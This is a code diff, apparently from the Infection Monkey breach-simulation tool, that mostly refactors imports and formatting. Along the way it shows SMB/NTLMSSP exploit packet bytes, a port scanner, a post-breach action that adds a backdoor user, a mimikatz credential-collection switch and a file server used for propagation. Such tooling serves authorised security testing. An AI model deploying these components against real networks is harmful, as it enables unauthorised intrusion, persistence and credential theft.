b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
|
||||
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
|
||||
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
|
||||
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
|
||||
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
|
||||
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@ from random import shuffle
|
|||
|
||||
import infection_monkey.config
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
import infection_monkey.network.HostScanner
|
||||
from infection_monkey.network.HostScanner import HostScanner
|
||||
from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -11,7 +11,7 @@ __author__ = 'itamar'
|
|||
BANNER_READ = 1024
|
||||
|
||||
|
||||
class TcpScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
|
||||
class TcpScanner(HostScanner, HostFinger):
|
||||
_SCANNED_SERVICE = 'unknown(TCP)'
|
||||
|
||||
def __init__(self):
|
||||
|
@ -25,7 +25,8 @@ class TcpScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
|
|||
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
|
||||
:param host: VictimHost structure
|
||||
:param only_one_port: Currently unused.
|
||||
:return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive.
|
||||
:return: T/F if there is at least one open port.
|
||||
In addition, the host object is updated to mark those services as alive.
|
||||
"""
|
||||
|
||||
# maybe hide under really bad detection systems
|
||||
|
|
|
@ -7,6 +7,7 @@ import struct
|
|||
import time
|
||||
import re
|
||||
|
||||
from infection_monkey.network.info import get_routes
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from infection_monkey.utils.environment import is_64bit_python
|
||||
|
||||
|
@ -40,7 +41,7 @@ def struct_unpack_tracker_string(data, index):
|
|||
:param index: Position index
|
||||
:return: (Data, new index)
|
||||
"""
|
||||
ascii_len = data[index:].find('\0')
|
||||
ascii_len = data[index:].find(b'\0')
|
||||
fmt = "%ds" % ascii_len
|
||||
return struct_unpack_tracker(data, index, fmt)
|
||||
|
||||
|
@ -158,8 +159,8 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
banners = []
|
||||
if get_banner and (len(connected_ports_sockets) != 0):
|
||||
readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
|
||||
# read first BANNER_READ bytes
|
||||
banners = [sock.recv(BANNER_READ).decode() if sock in readable_sockets else ""
|
||||
# read first BANNER_READ bytes. We ignore errors because service might not send a decodable byte string.
|
||||
banners = [sock.recv(BANNER_READ).decode(errors='ignore') if sock in readable_sockets else ""
|
||||
for port, sock in connected_ports_sockets]
|
||||
pass
|
||||
# try to cleanup
|
||||
|
@ -269,3 +270,42 @@ def _traceroute_linux(target_ip, ttl):
|
|||
lines = [x[1:-1] if x else None # Removes parenthesis
|
||||
for x in lines]
|
||||
return lines
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
"""
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
|
@ -13,4 +13,3 @@ class BackdoorUser(PBA):
|
|||
POST_BREACH_BACKDOOR_USER,
|
||||
linux_cmd=' '.join(linux_cmds),
|
||||
windows_cmd=windows_cmds)
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.config import WormConfiguration
|
|||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -27,6 +27,7 @@ class UsersPBA(PBA):
|
|||
"""
|
||||
Defines user's configured post breach action.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
|
||||
self.filename = ''
|
||||
|
|
|
@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
|
|||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
@ -19,6 +18,7 @@ class PBA(object):
|
|||
"""
|
||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||
"""
|
||||
|
||||
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
||||
|
|
|
@ -1,11 +1,10 @@
|
|||
enum34
|
||||
impacket
|
||||
pycryptodome
|
||||
cffi
|
||||
requests
|
||||
odict
|
||||
paramiko
|
||||
psutil==3.4.2
|
||||
psutil
|
||||
PyInstaller
|
||||
ecdsa
|
||||
netifaces
|
||||
|
@ -13,4 +12,3 @@ ipaddress
|
|||
wmi
|
||||
pymssql
|
||||
pyftpdlib
|
||||
enum34
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
enum34
|
||||
impacket
|
||||
pycryptodome
|
||||
cffi
|
||||
|
@ -14,4 +13,3 @@ wmi
|
|||
pywin32
|
||||
pymssql
|
||||
pyftpdlib
|
||||
enum34
|
||||
|
|
|
@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
|
|||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
# noinspection PyShadowingBuiltins
|
||||
WindowsError = psutil.AccessDenied
|
||||
|
||||
__author__ = 'uri'
|
||||
|
|
|
@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
|
|||
super(LinuxInfoCollector, self).get_info()
|
||||
self.info['ssh_info'] = SSHCollector.get_info()
|
||||
return self.info
|
||||
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import os
|
||||
import logging
|
||||
import sys
|
||||
|
||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||
|
||||
import infection_monkey.config
|
||||
|
@ -35,7 +36,7 @@ class WindowsInfoCollector(InfoCollector):
|
|||
"""
|
||||
LOG.debug("Running Windows collector")
|
||||
super(WindowsInfoCollector, self).get_info()
|
||||
#self.get_wmi_info()
|
||||
# TODO: Think about returning self.get_wmi_info()
|
||||
self.get_installed_packages()
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if WormConfiguration.should_use_mimikatz:
|
||||
|
|
|
@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
|
|||
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
|
||||
"DS_whenChanged", "DS_whenCreated"),
|
||||
}
|
||||
|
||||
|
|
|
@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
|
|||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
||||
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
|
|
@ -9,7 +9,7 @@ from urllib.parse import urlsplit
|
|||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -64,7 +64,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
|
||||
self.send_error(500, "")
|
||||
return None, 0, 0
|
||||
f = None
|
||||
try:
|
||||
f = monkeyfs.open(self.filename, 'rb')
|
||||
except IOError:
|
||||
|
@ -100,10 +99,10 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
self.end_headers()
|
||||
return f, start_range, end_range
|
||||
|
||||
def log_message(self, format, *args):
|
||||
def log_message(self, format_string, *args):
|
||||
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
|
||||
self.log_date_time_string(),
|
||||
format % args))
|
||||
format_string % args))
|
||||
|
||||
|
||||
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
@ -117,7 +116,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
def do_CONNECT(self):
|
||||
# just provide a tunnel, transfer the data with no modification
|
||||
req = self
|
||||
reqbody = None
|
||||
req.path = "https://%s/" % req.path.replace(':443', '')
|
||||
|
||||
u = urlsplit(req.path)
|
||||
|
@ -148,9 +146,9 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
update_last_serve_time()
|
||||
conn.close()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
def log_message(self, format_string, *args):
|
||||
LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
|
||||
(self.address_string(), self.log_date_time_string(), format % args))
|
||||
(self.address_string(), self.log_date_time_string(), format_string % args))
|
||||
|
||||
|
||||
class HTTPServer(threading.Thread):
|
||||
|
|
|
@ -7,9 +7,8 @@ from threading import Thread
|
|||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
from infection_monkey.transport.base import get_last_serve_time
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
|
|
@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password):
|
|||
linux_cmds = get_linux_commands_to_add_user(username)
|
||||
windows_cmds = get_windows_commands_to_add_user(username, password)
|
||||
return linux_cmds, windows_cmds
|
||||
|
||||
|
||||
|
|
|
@ -1,11 +1,8 @@
|
|||
import os
|
||||
import uuid
|
||||
from datetime import datetime
|
||||
|
||||
import bson
|
||||
import flask_restful
|
||||
from bson.json_util import dumps
|
||||
from flask import Flask, send_from_directory, make_response, Response
|
||||
from flask import Flask, send_from_directory, Response
|
||||
from werkzeug.exceptions import NotFound
|
||||
|
||||
from monkey_island.cc.auth import init_jwt
|
||||
|
@ -29,19 +26,19 @@ from monkey_island.cc.resources.telemetry import Telemetry
|
|||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
||||
from monkey_island.cc.resources.version_update import VersionUpdate
|
||||
from monkey_island.cc.services.database import Database
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
||||
from monkey_island.cc.services.database import Database
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.services.representations import output_json
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
from monkey_island.cc.resources.test.monkey_test import MonkeyTest
|
||||
from monkey_island.cc.resources.test.log_test import LogTest
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
||||
HOME_FILE = 'index.html'
|
||||
|
||||
|
||||
|
@ -62,32 +59,6 @@ def serve_home():
|
|||
return serve_static_file(HOME_FILE)
|
||||
|
||||
|
||||
def normalize_obj(obj):
|
||||
if '_id' in obj and not 'id' in obj:
|
||||
obj['id'] = obj['_id']
|
||||
del obj['_id']
|
||||
|
||||
for key, value in list(obj.items()):
|
||||
if isinstance(value, bson.objectid.ObjectId):
|
||||
obj[key] = str(value)
|
||||
if isinstance(value, datetime):
|
||||
obj[key] = str(value)
|
||||
if isinstance(value, dict):
|
||||
obj[key] = normalize_obj(value)
|
||||
if isinstance(value, list):
|
||||
for i in range(0, len(value)):
|
||||
if isinstance(value[i], dict):
|
||||
value[i] = normalize_obj(value[i])
|
||||
return obj
|
||||
|
||||
|
||||
def output_json(obj, code, headers=None):
|
||||
obj = normalize_obj(obj)
|
||||
resp = make_response(dumps(obj), code)
|
||||
resp.headers.extend(headers or {})
|
||||
return resp
|
||||
|
||||
|
||||
def init_app_config(app, mongo_url):
|
||||
app.config['MONGO_URI'] = mongo_url
|
||||
app.config['SECRET_KEY'] = str(uuid.getnode())
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
import monkey_island.cc.auth
|
||||
from monkey_island.cc.environment import Environment
|
||||
from common.cloud.aws_instance import AwsInstance
|
||||
from Crypto.Hash import SHA3_512
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
|
|
@ -34,8 +34,8 @@ def load_server_configuration_from_file():
|
|||
|
||||
|
||||
def load_env_from_file():
|
||||
config_json = load_server_configuration_from_file()
|
||||
return config_json['server_config']
|
||||
loaded_config_json = load_server_configuration_from_file()
|
||||
return loaded_config_json['server_config']
|
||||
|
||||
|
||||
try:
|
||||
|
|
|
@ -2,7 +2,6 @@ import os
|
|||
import json
|
||||
import logging.config
|
||||
|
||||
|
||||
__author__ = 'Maor.Rayzin'
|
||||
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@
|
|||
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
|
||||
}
|
||||
},
|
||||
|
||||
"handlers": {
|
||||
"console": {
|
||||
"class": "logging.StreamHandler",
|
||||
|
@ -14,7 +13,6 @@
|
|||
"formatter": "simple",
|
||||
"stream": "ext://sys.stdout"
|
||||
},
|
||||
|
||||
"info_file_handler": {
|
||||
"class": "logging.handlers.RotatingFileHandler",
|
||||
"level": "INFO",
|
||||
|
@ -25,9 +23,11 @@
|
|||
"encoding": "utf8"
|
||||
}
|
||||
},
|
||||
|
||||
"root": {
|
||||
"level": "DEBUG",
|
||||
"handlers": ["console", "info_file_handler"]
|
||||
"handlers": [
|
||||
"console",
|
||||
"info_file_handler"
|
||||
]
|
||||
}
|
||||
}
|
|
@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
|
|||
|
||||
from monkey_island.cc.island_logger import json_setup_logging
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
||||
default_level=logging.DEBUG)
|
||||
|
|
|
@ -43,6 +43,7 @@ class Monkey(Document):
|
|||
tunnel = ReferenceField("self")
|
||||
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
|
||||
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
|
||||
|
||||
# instance. See https://github.com/guardicore/monkey/issues/426.
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
|
|||
self.clean_monkey_db()
|
||||
|
||||
linux_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64")
|
||||
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
|
||||
windows_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="Windows bla bla bla")
|
||||
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
|
@ -142,7 +142,7 @@ class TestMonkey(IslandTestCase):
|
|||
cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||
self.assertEqual(cache_info_after_query_1.hits, 0)
|
||||
self.assertEqual(cache_info_after_query_1.misses, 1)
|
||||
logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
|
||||
logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label))
|
||||
|
||||
self.assertIsNotNone(label)
|
||||
self.assertIn(hostname_example, label)
|
||||
|
@ -150,7 +150,7 @@ class TestMonkey(IslandTestCase):
|
|||
|
||||
# should be cached
|
||||
label = Monkey.get_label_by_id(linux_monkey.id)
|
||||
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
|
||||
logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label))
|
||||
cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||
self.assertEqual(cache_info_after_query_2.hits, 1)
|
||||
self.assertEqual(cache_info_after_query_2.misses, 1)
|
||||
|
@ -160,7 +160,7 @@ class TestMonkey(IslandTestCase):
|
|||
|
||||
# should be a miss
|
||||
label = Monkey.get_label_by_id(linux_monkey.id)
|
||||
logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
|
||||
logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label))
|
||||
cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||
logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
|
||||
# still 1 hit only
|
||||
|
@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
|
|||
|
||||
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
|
||||
self.assertEqual(cache_info_after_query.hits, 2)
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
from monkey_island.cc.models.zero_trust.finding import Finding
|
||||
|
||||
|
||||
|
@ -26,7 +26,7 @@ class AggregateFinding(Finding):
|
|||
|
||||
def add_malicious_activity_to_timeline(events):
|
||||
AggregateFinding.create_or_add_to_existing(
|
||||
test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
|
||||
status=STATUS_VERIFY,
|
||||
test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE,
|
||||
status=zero_trust_consts.STATUS_VERIFY,
|
||||
events=events
|
||||
)
|
||||
|
|
|
@ -2,7 +2,7 @@ from datetime import datetime
|
|||
|
||||
from mongoengine import EmbeddedDocument, DateTimeField, StringField
|
||||
|
||||
from common.data.zero_trust_consts import EVENT_TYPES
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
|
||||
|
||||
class Event(EmbeddedDocument):
|
||||
|
@ -19,7 +19,7 @@ class Event(EmbeddedDocument):
|
|||
timestamp = DateTimeField(required=True)
|
||||
title = StringField(required=True)
|
||||
message = StringField()
|
||||
event_type = StringField(required=True, choices=EVENT_TYPES)
|
||||
event_type = StringField(required=True, choices=zero_trust_consts.EVENT_TYPES)
|
||||
|
||||
# LOGIC
|
||||
@staticmethod
|
||||
|
|
|
@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings.
|
|||
|
||||
from mongoengine import Document, StringField, EmbeddedDocumentListField
|
||||
|
||||
from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
# Dummy import for mongoengine.
|
||||
# noinspection PyUnresolvedReferences
|
||||
from monkey_island.cc.models.zero_trust.event import Event
|
||||
|
@ -30,18 +30,18 @@ class Finding(Document):
|
|||
times, or complex action we will perform - somewhat like an API.
|
||||
"""
|
||||
# SCHEMA
|
||||
test = StringField(required=True, choices=TESTS)
|
||||
status = StringField(required=True, choices=ORDERED_TEST_STATUSES)
|
||||
test = StringField(required=True, choices=zero_trust_consts.TESTS)
|
||||
status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES)
|
||||
events = EmbeddedDocumentListField(document_type=Event)
|
||||
# http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
|
||||
meta = {'allow_inheritance': True}
|
||||
|
||||
# LOGIC
|
||||
def get_test_explanation(self):
|
||||
return TESTS_MAP[self.test][TEST_EXPLANATION_KEY]
|
||||
return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY]
|
||||
|
||||
def get_pillars(self):
|
||||
return TESTS_MAP[self.test][PILLARS_KEY]
|
||||
return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY]
|
||||
|
||||
# Creation methods
|
||||
@staticmethod
|
||||
|
|
|
@ -1,11 +1,11 @@
|
|||
from mongoengine import StringField
|
||||
|
||||
from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
from monkey_island.cc.models.zero_trust.finding import Finding
|
||||
|
||||
|
||||
def need_to_overwrite_status(saved_status, new_status):
|
||||
return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED)
|
||||
return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED)
|
||||
|
||||
|
||||
class SegmentationFinding(Finding):
|
||||
|
@ -35,7 +35,7 @@ class SegmentationFinding(Finding):
|
|||
new_finding = SegmentationFinding(
|
||||
first_subnet=subnets[0],
|
||||
second_subnet=subnets[1],
|
||||
test=TEST_SEGMENTATION,
|
||||
test=zero_trust_consts.TEST_SEGMENTATION,
|
||||
status=status,
|
||||
events=[segmentation_event]
|
||||
)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from common.data.zero_trust_consts import *
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
|
||||
from monkey_island.cc.models.zero_trust.event import Event
|
||||
from monkey_island.cc.models.zero_trust.finding import Finding
|
||||
|
@ -10,9 +10,9 @@ class TestAggregateFinding(IslandTestCase):
|
|||
self.fail_if_not_testing_env()
|
||||
self.clean_finding_db()
|
||||
|
||||
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
|
||||
status = STATUS_VERIFY
|
||||
events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
|
||||
test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
|
||||
status = zero_trust_consts.STATUS_VERIFY
|
||||
events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)]
|
||||
self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
|
||||
|
||||
AggregateFinding.create_or_add_to_existing(test, status, events)
|
||||
|
@ -29,9 +29,9 @@ class TestAggregateFinding(IslandTestCase):
|
|||
self.fail_if_not_testing_env()
|
||||
self.clean_finding_db()
|
||||
|
||||
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
|
||||
status = STATUS_VERIFY
|
||||
event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
|
||||
test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
|
||||
status = zero_trust_consts.STATUS_VERIFY
|
||||
event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
||||
events = [event]
|
||||
self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
from mongoengine import ValidationError
|
||||
|
||||
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
from monkey_island.cc.models.zero_trust.event import Event
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
|
||||
|
@ -14,7 +14,7 @@ class TestEvent(IslandTestCase):
|
|||
_ = Event.create_event(
|
||||
title=None, # title required
|
||||
message="bla bla",
|
||||
event_type=EVENT_TYPE_MONKEY_NETWORK
|
||||
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
|
||||
)
|
||||
|
||||
with self.assertRaises(ValidationError):
|
||||
|
@ -28,5 +28,5 @@ class TestEvent(IslandTestCase):
|
|||
_ = Event.create_event(
|
||||
title="skjs",
|
||||
message="bla bla",
|
||||
event_type=EVENT_TYPE_MONKEY_NETWORK
|
||||
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
|
||||
)
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
from mongoengine import ValidationError
|
||||
|
||||
from common.data.zero_trust_consts import *
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
from monkey_island.cc.models.zero_trust.finding import Finding
|
||||
from monkey_island.cc.models.zero_trust.event import Event
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
|
@ -14,25 +14,26 @@ class TestFinding(IslandTestCase):
|
|||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||
server.json file is found and loaded.
|
||||
"""
|
||||
|
||||
def test_save_finding_validation(self):
|
||||
self.fail_if_not_testing_env()
|
||||
self.clean_finding_db()
|
||||
|
||||
with self.assertRaises(ValidationError):
|
||||
_ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[])
|
||||
_ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[])
|
||||
|
||||
with self.assertRaises(ValidationError):
|
||||
_ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[])
|
||||
_ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[])
|
||||
|
||||
def test_save_finding_sanity(self):
|
||||
self.fail_if_not_testing_env()
|
||||
self.clean_finding_db()
|
||||
|
||||
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
|
||||
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0)
|
||||
|
||||
event_example = Event.create_event(
|
||||
title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
|
||||
Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
|
||||
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
||||
